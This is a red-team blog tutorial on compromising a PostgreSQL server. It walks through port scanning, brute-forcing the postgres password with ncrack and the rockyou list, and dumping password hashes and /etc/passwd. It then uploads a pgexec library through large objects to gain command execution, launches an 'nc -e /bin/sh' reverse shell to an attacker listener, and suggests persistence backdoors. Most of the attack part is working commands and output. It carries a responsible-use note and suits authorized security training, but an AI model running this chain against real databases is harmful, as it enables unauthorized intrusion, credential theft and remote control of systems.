PostgreSQL is a popular open-source relational database with wide platform support. You can find it on a variety of POSIX operating systems, as well as Windows. All software increases exploitation surface area when complexity grows, and Postgres is no exception here. Depending on the configurations of a system, Postgres can be a valuable resource for a red team to leverage in system compromise. Postgres is so commonly available and supported that there are many prebuilt tools which can abstract the exploitation process for you (see Metasploit for some examples.) But I find that getting your hands a bit dirtier helps the learning process. It's important to understand the fundamentals of what you are trying to accomplish before you abstract it away. So let's start hacking PostgreSQL!

I shouldn't need to say this, but please don't abuse this knowledge. The targets for this article are red teams, not malicious actors. Please be responsible.

Service discovery

Nmap is a decent goto scanner for service discovery. We could have easily picked massscan or unicornscan or a host of others, but this works well. The simplest of nmap commands is usually all it takes to discover a Postgres target. (In this example, we will target a single machine called sqlserver, but we can replace that with a range of machines or a subnet if we needed to.)

$ nmap sqlserver

Starting Nmap 7.40 ( ) at 2019-02-11 08:42 UTC
Nmap scan report for sqlserver (
Host is up (0.0000020s latency).
Not shown: 998 closed ports
22/tcp   open  ssh
5432/tcp open  postgresql

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

At this point, we've verified that the target is alive, and there is a PostgreSQL service running and exposed to the outside.

Service access

We could use many different methods to gain access to confidential services. Intelligence feeds could reveal access if you are lucky, or perhaps there is a shared folder with credentials, or an unsecured configuration available; but sometimes we need to put a little more effort into it. Credential stuffing (effectively brute forcing credential pairs with a list of usernames and passwords) may be a necessary tactic, and there are plenty of tools out there to help. We could easily use tools like Hydra, Medusa, Metasploit, or many others, but we are going to use ncrack in these examples.

For a first pass, we will try to attack the default account postgres using the Rockyou breach list. In Kali Linux, the Rockyou list is provided out-of-the-box (you can find it at /usr/share/wordlists/rockyou.txt.gz). Since I am using Kali for this example, we will first need to unpack the archive before using it.

$ gunzip /usr/share/wordlists/rockyou.txt.gz

Next, we will try to use this list against the PostgreSQL service by means of ncrack. We will specify the service we are attacking (psql://), the target (sqlserver), the user we want to target (postgres), and the wordlist we want to ingest for password candidates (rockyou.txt).

$ ncrack psql://sqlserver -u postgres -P /usr/share/wordlists/rockyou.txt

Starting Ncrack 0.5 ( ) at 2019-02-11 09:24 UTC

Discovered credentials for psql on 5432/tcp: 5432/tcp psql: 'postgres' 'airforce'

Ncrack done: 1 service scanned in 69.02 seconds.

Ncrack finished.

In this example, we have discovered the credentials for an available user. If this had been unsuccessful, we could always try to enumerate further users and test the same passwords against those. Ncrack even provides the option to load a list of users from a file using the -U flag.

With credentials in hand, we can use the psql cli utility to connect to our target remote database.

$ psql --user postgres -h sqlserver
Password for user postgres:
psql (9.6.2)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.



Service reconnaissance

Now that we have access, we want to do a little recon. Start by enumerating the available users and roles. Note that we are intentionally looking for usename in the example below.

postgres=# \du
                                   List of roles
 Role name |                         Attributes                         | Member of
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}

postgres=# select usename, passwd from pg_shadow;
 usename  |               passwd
 postgres | md5fffc0bd6f9cb15de21317fd1f61df60f
(1 row)

Next, list the available databases and tables.

postgres=# \l
                              List of databases
   Name    |  Owner   | Encoding | Collate |  Ctype  |   Access privileges
 postgres  | postgres | UTF8     | C.UTF-8 | C.UTF-8 |
 template0 | postgres | UTF8     | C.UTF-8 | C.UTF-8 | =c/postgres          +
           |          |          |         |         | postgres=CTc/postgres
 template1 | postgres | UTF8     | C.UTF-8 | C.UTF-8 | =c/postgres          +
           |          |          |         |         | postgres=CTc/postgres
(3 rows)

postgres=# \dt
No relations found.

This particular box doesn't have too much on it, but sometimes you may come across other valuable information you can leverage to pivot later.

Command execution

Postgres abstracts certain system level functions which it will expose to the database operator. We can easily discover, for example, the contents of the process' working directory using the following:

postgres=# select pg_ls_dir('./');
(21 rows)

We can take this a step farther and read the contents of these files.

postgres=# select pg_read_file('PG_VERSION');
 9.6         +

(1 row)

We can also choose the offset we want to start reading at, and the number of bytes we want to read. For example, let's read a specific 12 bytes near the end of

postgres=# select pg_read_file('', 66, 12);
(1 row)

But there are limitations to the pg_read_file() function.

postgres=# select pg_read_file('/etc/passwd');
ERROR:  absolute path not allowed
postgres=# select pg_read_file('../../../../etc/passwd');
ERROR:  path must be in or below the current directory

Don't despair. We can create a new table and COPY the contents of files on disk into it. Then, we can query the table to see the contents.

postgres=# create table docs (data TEXT);
postgres=# copy docs from '/etc/passwd';
postgres=# select * from docs limit 10;
(10 rows)

Getting a reverse shell

So now we have access to our service, we can read from files on disk. Now it's time to see if we can launch a reverse shell.

Again, Metasploit has a pretty nice payload to abstract this whole process, but what's the fun in that?

[Dionach] has a great little library they have written to provide a function called pgexec(). Can you guess what it does? pgexec needs to be compiled against the same major and minor versions as the running Postgres instance. You should be able to just query Postgres for this information.

postgres=# select version();

But he also provides prebuilt binaries for many common versions. Let's just grab one of those.

$ curl -O

We now have our library, but how do we get it to our target? Fortunately, we can generate LOIDs in Postgres to store this data and then try to write it to disk.

postgres=# select lo_creat(-1);
(1 row)

Make a note of the lo_creat ID which was generated. You will need this in the examples below.

However, there is a caveat here. LOID entries can be a maximum of 2K, so we need to spit the payload. We can do this in our bash shell (just be sure to use the some working directory as you are using for psql.)

$ split -b 2048

Now we can script the SQL statements we need to upload all the pieces of this payload. In this example, we are piping them all into a file called upload.sql. Remember to replace ${LOID} with the ID you grabbed earlier.

$ CNT=0; for f in x*; do echo '\set c'${CNT}' `base64 -w 0 '${f}'`'; echo 'INSERT INTO pg_largeobject (loid, pageno, data) values ('${LOID}', '${CNT}', decode(:'"'"c${CNT}"'"', '"'"'base64'"'"'));'; CNT=$(( CNT + 1 )); done > upload.sql

With our SQL file in hand, we can include these statements straight from disk into psql. (Again, this assumes that upload.sql is in the same working directory as psql.)

postgres=# \include upload.sql

Finally, we save our LOID to disk. (Change 16391 to match your LOID.)

postgres=# select lo_export(16391, '/tmp/');
(1 row)

Create our new function using the library we just copied to disk.

postgres=# CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/', 'pg_exec' LANGUAGE 'c' STRICT;

Excellent! We should now be able to execute remote commands to our target. pg_exec() won't display the output, so we are just going to run some blind commands to setup our shell.

First, make sure there's a listener on your local machine. From another shell window, we can set this up with Ncat or Netcat.

$ nc -l -p 4444

Execute the reverse shell.

postgres=# select sys('nc -e /bin/sh 4444');

We should now have an active reverse shell. To make this a bit more useable, however, we need to spawn a TTY. Lot's of ways to do this, but I am going to use Python. it's pretty universal and it works well.

python -c 'import pty; pty.spawn("/bin/sh")'

Achievement unlocked!

Privilege escalation

If you're lucky, PostgreSQL was running as root, and you now have total control of your target. If not, you only have an unprivileged shell and you need to escalate. I won't get into that here, but there are plenty of ways you can attempt this. First, I'd recommend setting up persistence. Perhaps creating a scheduled job to open a remote shell in case you are disconnected? Or some sort of back-door into a service. The exact method will be customized to the target. Once that's done, you can work on your post-exploitation recon, maybe some kernel exploits, and pivot from there.

Hopefully this article helps you get a little deeper understanding on exploiting PostgreSQL during your engagements. Happy hacking!